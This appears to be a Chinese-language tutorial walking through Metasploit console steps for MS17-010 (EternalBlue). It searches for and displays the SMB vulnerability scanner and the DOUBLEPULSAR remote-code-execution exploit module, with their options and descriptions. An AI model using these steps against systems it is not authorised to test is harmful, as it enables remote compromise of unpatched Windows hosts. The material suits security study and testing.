The SMBv1 server in Microsoft Windows Vista SP2 Windows Server 2008 SP2 and R2 SP1 Windows 7 SP1; Windows 8.1 Windows Server 2012 Gold and R2 Windows RT 8.1 Windows 10 Gold, 1511, and 1607 Windows Server 2016
漏洞分析
漏洞利用
使用 MSF 扫描该漏洞
1 2 3
msfconsole msf6 > search scanner eternalblue
搜索结果
1 2 3 4 5 6 7 8 9 10 11
Matching Modules ================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB RCE Detection 1 \_ AKA: DOUBLEPULSAR . . . . 2 \_ AKA: ETERNALBLUE . . . .
Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/smb/smb_ms17_010
调用扫描器并查看扫描器详情
1 2
msf6 exploit(windows/smb/smb_doublepulsar_rce) > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > info
Provided by: Sean Dillon <sean.dillon@risksense.com> Luke Jennings
Check supported: No
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture o n vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR o n vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metas yes List of named pipes to c ploit-framework/ heck data/wordlists/n amed_pipes.txt RHOSTS yes The target host(s), see https://docs.metasploit. com/docs/using-metasploi t/basics/using-metasploi t.html RPORT 445 yes The SMB service port (TC P) SMBDomain . no The Windows domain to us e for authentication SMBPass no The password for the spe cified username SMBUser no The username to authenti cate as THREADS 1 yes The number of concurrent threads (max one per ho st)
Description: Uses information disclosure to determine if MS17-010 has been patched or not. Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0. If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does not have the MS17-010 patch.
If the machine is missing the MS17-010 patch, the module will check for an existing DoublePulsar (ring 0 shellcode/malware) infection.
This module does not require valid SMB credentials in default server configurations. It can log on as the user "\" and connect to IPC$.
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 \_ target: Automatic Target . . . . 2 \_ target: Windows 7 . . . . 3 \_ target: Windows Embedded Standard 7 . . . . 4 \_ target: Windows Server 2008 R2 . . . . 5 \_ target: Windows 8 . . . . 6 \_ target: Windows 8.1 . . . . 7 \_ target: Windows Server 2012 . . . . 8 \_ target: Windows 10 Pro . . . . 9 \_ target: Windows 10 Enterprise Evaluation . . . . 10 auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB RCE Detection 11 \_ AKA: DOUBLEPULSAR . . . . 12 \_ AKA: ETERNALBLUE . . . . 13 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution 14 \_ target: Execute payload (x64) . . . . 15 \_ target: Neutralize implant . . . .
Interact with a module by name or index. For example info 15, use 15 or use exploit/windows/smb/smb_doublepulsar_rce After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
调用该模块并查看模块详情
1 2
msf6 > use exploit/windows/smb/smb_doublepulsar_rce msf6 exploit(windows/smb/smb_doublepulsar_rce) > info
Provided by: Equation Group Shadow Brokers zerosum0x0 Luke Jennings wvu <wvu@metasploit.com> Jacob Robles
Module stability: crash-os-down
Module reliability: repeatable-session
Available targets: Id Name -- ---- => 0 Execute payload (x64) 1 Neutralize implant
Check supported: Yes
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https: //docs.metasploit.com/docs/usi ng-metasploit/basics/using-met asploit.html RPORT 445 yes The SMB service port (TCP)
Payload information: Space: 3316
Description: This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant.
